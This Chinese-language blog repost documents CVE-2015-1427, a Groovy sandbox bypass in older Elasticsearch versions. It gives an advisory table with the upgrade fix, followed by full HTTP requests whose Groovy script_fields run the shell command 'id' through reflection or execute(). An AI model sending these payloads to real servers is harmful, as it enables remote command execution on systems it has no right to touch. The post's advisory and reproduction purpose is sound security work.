ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞
生活随笔
收集整理的這篇文章主要介紹了
ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
漏洞編號:CVE-2015-1427
漏洞詳情
| CVE編號 | CVE-2015-1427 | 漏洞級別 | 高危7.5 |
|---|---|---|---|
| 標題 | Elasticsearch Groovy 腳本引擎存在遠程代碼執行漏洞 | 披露時間 | 2015/02/17 |
| 漏洞總結 | Elasticsearch在版本1.3.8之前及版本1.4.x在1.4.3之前的Groovy腳本引擎存在漏洞,遠程攻擊者可通過精心構造的腳本繞過沙箱保護機制并執行任意shell命令。 | ||
| 利用路徑 | NETWORK | 利用難度 | 容易10 |
| 影響產品 | elasticsearch | ||
| 解決方案 | 升級到Elasticsearch版本1.3.8或1.4.3以上,或禁用Groovy插件。 |
漏洞復現
兩種執行命令的方法:
1、利用java反射繞過沙盒
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
2、Goovy直接執行命令
def command='id';def res=command.execute().text;res
添加一條數據
POST /test/test/ HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 24
{
"name": "test"
}
執行命令
第一種方法:
POST /_search?pretty HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
第二種方法:
POST /_search?pretty HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "def command='id';def res=command.execute().text;res"}}}
POC&EXP
github:POC-EXP/ElasticSearch Groovy 沙盒繞過 at main · twsec-pro/POC-EXP (github.com)
yakit:86556f00-6ebb-4422-804c-6f58cb9b9f79
總結
以上是生活随笔為你收集整理的ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 高性能MySQL(《高性能MySQL)
- 下一篇: 联想新款小新台式机上架:7.4L 体积,